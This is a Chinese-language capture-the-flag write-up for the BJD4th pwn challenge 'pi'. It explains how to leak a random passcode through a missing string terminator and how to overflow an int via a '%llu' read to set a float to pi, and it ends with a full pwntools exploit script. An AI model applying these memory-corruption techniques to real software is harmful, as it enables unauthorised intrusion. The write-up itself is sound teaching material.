BJD4th pwn pi
没记错的话,比赛那天正好是圣诞节,就只看了这一道pwn题,我还没做出来。我太菜了。
有一说一,ida换成7.5版本之后,一些去掉符号表的函数也能被识别出来了,ida更好用了呢。
题目程序分为两块,先看第一块,登陆。

先输入一个username,再输入一个passcode,程序会判断passcode和在16行随机生成的数是否相等,如果相等就会通过判断。(16行,后面的函数是来读取随机数的)
这里的读取用的是自写函数,sub_13BB,跟进去看看。

箭头所指是会在我们输入的username后面加"\x00"的,用来截断字符串,但是这里明显可以溢出。

当输入64个字符时,会在65处加上"\x00",执行snprintf的时候,这个位置又会被随机数覆盖,在18行进行输出的时候,由于没有截断,会把生成的随机数也输出。这样就得到passcode了。这样第一部分就搞定了。接下来看第二部分。

这里题目说了,程序用的是蒙特卡罗算法求圆周率的。到底是怎么求的呢?




个人感觉和抛硬币一样,只要你抛得次数足够多,最后的统计出的抛出正面和反面的概率就越接近1/2。这就是这个算法的核心,多次随机实验来求概率,通过概率再进行推算。跑远了...
题目是让最后得出的圆周率的误差小于0.0000001就可以cat flag。是让我们输入一个实验的次数,理论上,只要次数足够多,就可以直接拿flag。但是程序在第一块有alarm函数,是有计时的。所以不行,毕竟还是个pwn题嘛,找找漏洞点。

这里有一个17行有一个"%llu"其实挺引人注目的,这个是long long int的缩写,而程序上写了,v1是int类型变量,说明这里可以进行溢出。可以将v2赋值成3.1415926,同时让v1==0,这样v0==0,就可以拿到flag了。
这里有一个知识点就是,浮点数应在内存中应该怎么表示呢?我以前写过文章专门讲解过,这里我就直接通过例子看了。
1 #include<stdio.h>
2 float a;
3 int main()
4 {
5 a=3.1415926;
6 getchar();
7 return 0;
8 }
gcc编译一下,看内存分布。

因为这只是给v2赋值的,还需要让v1==0,因为是小端序的原因,内存中应该是
00000000 DA0F4940 00000000 (前面的8个数代表v1的内存分布,后面的16个数是v2的内存分布)

所以这里需要输入的数值应该是4632251120704552960,既能让v1==0,又能让v2==3.1415926。这样就能拿到flag了。
exp:
1 from pwn import *
2
3 p = process('./pi')
4 context.log_level = 'debug'
5
6 p.sendlineafter('Username: ','a'*0x3f+'b')
7 p.recvuntil('b')
8 password = p.recvuntil('.')[:-1]
9 print 'password-->'+password
10 p.sendlineafter('Passcode: ',password)
11 p.recvuntil('N = ')
12 p.sendline('4632251120704552960')
13 p.recv()
14 p.close()


蒙特卡洛算法图片来源:https://crazism.net/9454.html
BJD4th pwn pi的更多相关文章
- Raspberry Pi(树莓派)上安装Raspbian(无路由器,无显示器)
一. 准备工作 1. 树莓派主板 型号:树莓派3 B型 处理器:四核64位ARM Cortex-A53 CPU 内核架构:ARMv8 2. 一张大于8G的TF卡(本人用的是32G的,也作为PiLFS用 ...
- 让Mono 4在Raspberry Pi上飞
最近公司有项目想要在树莓派上做,代替原来的工控机(我们是把工控主机当作小的主机用,一台小的工控主机最少也要600左右,而树莓派只要200多).于是,公司买了一个Raspberry Pi B+和一个Ra ...
- Kali v2.1.2 for Raspberry Pi 3B
最新的下载地址是: https://www.offensive-security.com/kali-linux-arm-images/ 按照官网的说法是找不到树莓派版本的SHA1SUM和SHA1SUM ...
- A new comer playing with Raspberry Pi 3B
there are some things to do for raspberry pi 3b for the first time: 1, connect pi with monitor/KB/mo ...
- Pwn~
Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...
- Windows Iot:让Raspberry Pi跑起来(1)
首先请大家原谅我的"不务正业",放着RabbitHub不写,各种系列的文章不写搞什么Iot,哈哈,最近心血来潮想搞个速度极快的遥控车玩,望着在角落的Raspberry Pi恶狠狠的 ...
- 【转】【Raspberry Pi】Unix NetWork Programming:配置unp.h头文件环境
一.初衷 近期正在做网络计算编程的作业.要求平台为unix/linux,想着Raspberry Pi装的Debian系统也是Linux改的,也应该能够勉强用着,所以就用它来做作业了! 二.说明 先把环 ...
- 【Raspberry Pi】新入手的Raspberry Pi3拼装日志
一.概述 2016年暑假某宝入手Raspberry Pi 3,装机清单: 树莓派主板 亚克力外壳 小风扇 散热片 30G SD card 螺丝若干颗 因机型问题,可能与你的机器有微小差异 二.装机过程 ...
- orange pi pc 体验(一)
最近在淘宝上看到一款和树莓派差不多的卡片机,定价才99元,而且是国产的,忍不住入手了一个,就是orange pi 感兴趣的可以百度搜索下,深圳一个公司出的,不过资料比树莓派少了很多,论坛中人也没多少, ...
随机推荐
- Python实战:截图识别文字,过万使用量版本!(附源码!!)
前人栽树后人乘凉,以不造轮子为由 使用百度的图片识字功能,实现了一个上万次使用量的脚本. 系统:win10 Python版本:python3.8.6 pycharm版本:pycharm 2021.1. ...
- arthas 简单使用
简介 Arthas 是Alibaba开源的Java诊断工具,深受开发者喜爱. 官网地址:https://arthas.aliyun.com/ 它可以做什么,以下功能都是直接操作线上跑着的jar包!!! ...
- CF1559D2 Mocha and Diana (Hard Version)
考虑到加树边每次最多只导致一对联通块之间的状态. 所以我们以任意顺序加入当前的合法边. 我们考虑先加入所有可加的\((1,a)\) 然后统计只在\(A\)中与1连的点,\(B\)中与2连的点. 则他们 ...
- nrf 51802 和 nrf51822 的区别于联系
51802QFAA与51822QFAA在FLASH 跟RAM的容量没有差别:区别在于:a,接收灵敏度 51802是-91dBm;51822是-93dBm,这个差异导致接收距离有差异:b,Tx Powe ...
- Levenshtein莱文斯坦算法在项目中的应用
简介 根据维基百科的描述,在信息理论.语言学和计算机科学中,莱文斯坦距离是一个测量两个序列之间差异的字符串度量.非正式地,两个单词之间的莱文斯坦距离是将一个单词改变为另一个单词所需的最小单字符编辑次数 ...
- Windows端口被占用解决方法
Error 场景 启动 Java 项目失败,控制台显示 Error starting ApplicationContext. To display the conditions report`re-r ...
- 日常Java 2021/10/18
Vecter类实现了一个动态数组,不同于ArrayList的是,Vecter是同步访问的, Vecter主要用在事先不知道数组的大小或可以改变大小的数组 Vecter类支持多种构造方法:Vecter( ...
- day13 装饰器与语法糖
day13 装饰器与语法糖 一.装饰器 1.什么是装饰器 装饰器就是装饰别人的工具,具体是指为被装饰者添加新功能 装饰器->函数 被装饰者->函数 2.为何要用装饰器 装饰器的核心思想:( ...
- Flink(四)【IDEA执行查看Web UI】
1.导入依赖 <!-- flink Web UI --> <dependency> <groupId>org.apache.flink</groupId> ...
- 【leetcode】598. Range Addition II
You are given an m x n matrix M initialized with all 0's and an array of operations ops, where ops[i ...